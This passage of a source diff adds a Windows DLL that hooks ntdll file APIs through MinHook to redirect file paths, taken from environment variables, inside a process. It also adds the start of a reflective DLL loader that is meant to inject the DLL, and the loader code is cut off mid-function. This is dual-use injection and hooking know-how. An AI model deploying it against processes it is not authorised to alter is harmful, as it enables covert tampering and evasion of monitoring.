LogDebug(L"[NtOpenFile] Original Path: ");
|
||||
LogDebug(tempPath);
|
||||
}
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
WCHAR tempBuf[512] = { 0 };
|
||||
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
||||
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
||||
LogDebug(L"[NtOpenFile] *** REDIRECTING TO: ");
|
||||
LogDebug(tempBuf);
|
||||
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
else {
|
||||
LogDebug(L"[NtOpenFile] ReplacePath returned NULL");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtSetInformationFile(
|
||||
HANDLE FileHandle,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass
|
||||
) {
|
||||
typedef struct {
|
||||
BOOLEAN ReplaceIfExists;
|
||||
HANDLE RootDirectory;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} FILE_RENAME_INFO;
|
||||
|
||||
if (FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) {
|
||||
FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation;
|
||||
if (renameInfo->FileNameLength > 0) {
|
||||
SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR);
|
||||
|
||||
if (NeedsRedirection(renameInfo->FileName, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength);
|
||||
|
||||
if (newPath) {
|
||||
ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR));
|
||||
FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize);
|
||||
|
||||
if (newRenameInfo) {
|
||||
newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists;
|
||||
newRenameInfo->RootDirectory = renameInfo->RootDirectory;
|
||||
newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR));
|
||||
memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength);
|
||||
|
||||
NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass);
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, newRenameInfo);
|
||||
HeapFree(GetProcessHeap(), 0, newPath);
|
||||
return result;
|
||||
}
|
||||
HeapFree(GetProcessHeap(), 0, newPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtQueryAttributesFile(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PVOID FileInformation
|
||||
) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtQueryFullAttributesFile(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PVOID FileInformation
|
||||
) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtQueryDirectoryFile(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PVOID ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass,
|
||||
BOOLEAN ReturnSingleEntry,
|
||||
PUNICODE_STRING FileName,
|
||||
BOOLEAN RestartScan
|
||||
) {
|
||||
return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
|
||||
FileInformation, Length, FileInformationClass,
|
||||
ReturnSingleEntry, FileName, RestartScan);
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PVOID ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass,
|
||||
ULONG QueryFlags,
|
||||
PUNICODE_STRING FileName
|
||||
) {
|
||||
return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
|
||||
FileInformation, Length, FileInformationClass,
|
||||
QueryFlags, FileName);
|
||||
}
|
||||
|
||||
// Install all hooks
|
||||
void InstallNtApiHooks(LPVOID lpParameter) {
|
||||
// Use a global try-catch to prevent any crashes
|
||||
__try {
|
||||
#if ENABLE_DEBUG_LOGGING
|
||||
// Enable logging for debugging
|
||||
WCHAR logPath[512];
|
||||
__try {
|
||||
ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512);
|
||||
g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
g_LogFile = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("=== DLL Injection Started ===");
|
||||
}
|
||||
#else
|
||||
g_LogFile = INVALID_HANDLE_VALUE;
|
||||
#endif
|
||||
|
||||
// Initialize to empty strings to prevent crashes
|
||||
g_SearchString[0] = L'\0';
|
||||
g_ReplacementString[0] = L'\0';
|
||||
|
||||
// Try to get configuration from environment variables
|
||||
__try {
|
||||
WCHAR envSearchString[512] = { 0 };
|
||||
WCHAR envReplaceString[512] = { 0 };
|
||||
|
||||
DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512);
|
||||
DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512);
|
||||
|
||||
if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) {
|
||||
wcsncpy_s(g_SearchString, 512, envSearchString, searchLen);
|
||||
g_SearchString[searchLen] = L'\0';
|
||||
wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen);
|
||||
g_ReplacementString[replaceLen] = L'\0';
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebug(L"========================================");
|
||||
LogDebug(L"[ENV] Search string from env: ");
|
||||
LogDebug(g_SearchString);
|
||||
LogDebug(L"[ENV] Replacement string from env: ");
|
||||
LogDebug(g_ReplacementString);
|
||||
|
||||
char lenMsg[256];
|
||||
sprintf_s(lenMsg, 256, "[ENV] Search string length: %zu characters", wcslen(g_SearchString));
|
||||
LogDebugA(lenMsg);
|
||||
LogDebug(L"========================================");
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("Environment variables not found, hooks disabled");
|
||||
}
|
||||
}
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("Exception reading environment variables");
|
||||
}
|
||||
g_SearchString[0] = L'\0';
|
||||
g_ReplacementString[0] = L'\0';
|
||||
}
|
||||
|
||||
// Initialize MinHook (this must succeed)
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("Initializing MinHook...");
|
||||
}
|
||||
|
||||
if (MH_Initialize() != MH_OK) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("ERROR: MinHook initialization failed!");
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("MinHook initialized successfully");
|
||||
}
|
||||
|
||||
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!ntdll) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("ERROR: Failed to get ntdll.dll handle!");
|
||||
}
|
||||
MH_Uninitialize();
|
||||
return;
|
||||
}
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("Got ntdll.dll handle");
|
||||
}
|
||||
|
||||
// Hook all the NT APIs
|
||||
FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile");
|
||||
if (pNtCreateFile) {
|
||||
MH_CreateHook(pNtCreateFile, &HookedNtCreateFile, (LPVOID*)&OriginalNtCreateFile);
|
||||
MH_EnableHook(pNtCreateFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtCreateFile");
|
||||
}
|
||||
|
||||
FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile");
|
||||
if (pNtOpenFile) {
|
||||
MH_CreateHook(pNtOpenFile, &HookedNtOpenFile, (LPVOID*)&OriginalNtOpenFile);
|
||||
MH_EnableHook(pNtOpenFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtOpenFile");
|
||||
}
|
||||
|
||||
FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile");
|
||||
if (pNtDeleteFile) {
|
||||
MH_CreateHook(pNtDeleteFile, &HookedNtDeleteFile, (LPVOID*)&OriginalNtDeleteFile);
|
||||
MH_EnableHook(pNtDeleteFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtDeleteFile");
|
||||
}
|
||||
|
||||
FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile");
|
||||
if (pNtSetInformationFile) {
|
||||
MH_CreateHook(pNtSetInformationFile, &HookedNtSetInformationFile, (LPVOID*)&OriginalNtSetInformationFile);
|
||||
MH_EnableHook(pNtSetInformationFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtSetInformationFile");
|
||||
}
|
||||
|
||||
FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile");
|
||||
if (pNtQueryAttributesFile) {
|
||||
MH_CreateHook(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, (LPVOID*)&OriginalNtQueryAttributesFile);
|
||||
MH_EnableHook(pNtQueryAttributesFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryAttributesFile");
|
||||
}
|
||||
|
||||
FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile");
|
||||
if (pNtQueryFullAttributesFile) {
|
||||
MH_CreateHook(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, (LPVOID*)&OriginalNtQueryFullAttributesFile);
|
||||
MH_EnableHook(pNtQueryFullAttributesFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryFullAttributesFile");
|
||||
}
|
||||
|
||||
FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile");
|
||||
if (pNtQueryDirectoryFile) {
|
||||
MH_CreateHook(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, (LPVOID*)&OriginalNtQueryDirectoryFile);
|
||||
MH_EnableHook(pNtQueryDirectoryFile);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFile");
|
||||
}
|
||||
|
||||
FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx");
|
||||
if (pNtQueryDirectoryFileEx) {
|
||||
MH_CreateHook(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, (LPVOID*)&OriginalNtQueryDirectoryFileEx);
|
||||
MH_EnableHook(pNtQueryDirectoryFileEx);
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx");
|
||||
}
|
||||
|
||||
g_HooksInitialized = TRUE;
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("=== All hooks installed successfully ===");
|
||||
}
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
char excMsg[256];
|
||||
sprintf_s(excMsg, 256, "CRITICAL EXCEPTION: Hook installation failed! Code: 0x%X", GetExceptionCode());
|
||||
LogDebugA(excMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void RemoveNtApiHooks() {
|
||||
__try {
|
||||
LogDebugA("=== Removing hooks ===");
|
||||
g_HooksInitialized = FALSE;
|
||||
MH_DisableHook(MH_ALL_HOOKS);
|
||||
MH_Uninitialize();
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(g_LogFile);
|
||||
g_LogFile = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
// Fail silently on cleanup
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,23 @@
|
||||
//===============================================================================================//
|
||||
// NT API Hooking Header
|
||||
//===============================================================================================//
|
||||
#ifndef _NTAPIHOOKS_H
|
||||
#define _NTAPIHOOKS_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize all NT API hooks
|
||||
void InstallNtApiHooks(LPVOID lpParameter);
|
||||
|
||||
// Remove all NT API hooks
|
||||
void RemoveNtApiHooks();
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // _NTAPIHOOKS_H
|
||||
@@ -0,0 +1,12 @@
|
||||
//===============================================================================================//
|
||||
// NT API Hook Configuration
|
||||
// Edit this file and rebuild to change settings
|
||||
//===============================================================================================//
|
||||
#ifndef _NTAPIHOOKS_CONFIG_H
|
||||
#define _NTAPIHOOKS_CONFIG_H
|
||||
|
||||
// Set to 1 to enable detailed logging, 0 to disable
|
||||
// Log file will be created at %TEMP%\rdi_hooks.log
|
||||
#define ENABLE_DEBUG_LOGGING 0
|
||||
|
||||
#endif // _NTAPIHOOKS_CONFIG_H
|
||||
@@ -0,0 +1,51 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
|
||||
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,43 @@
|
||||
//===============================================================================================//
|
||||
// This is a stub for the actuall functionality of the DLL.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "NtApiHooks.h"
|
||||
|
||||
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
||||
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
||||
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
||||
|
||||
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
// Store the parameter passed to ReflectiveLoader
|
||||
extern LPVOID g_lpReflectiveParameter;
|
||||
|
||||
//===============================================================================================//
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
DisableThreadLibraryCalls(hinstDLL);
|
||||
|
||||
// Install NT API hooks with the parameter passed from the injector
|
||||
InstallNtApiHooks(g_lpReflectiveParameter);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Remove hooks on detach
|
||||
RemoveNtApiHooks();
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
@@ -0,0 +1,500 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
// Store the parameter passed to ReflectiveLoader so DllMain can access it
|
||||
LPVOID g_lpReflectiveParameter = NULL;
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while (TRUE)
|
||||
{
|
||||
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword(0x60);
|
||||
#else
|
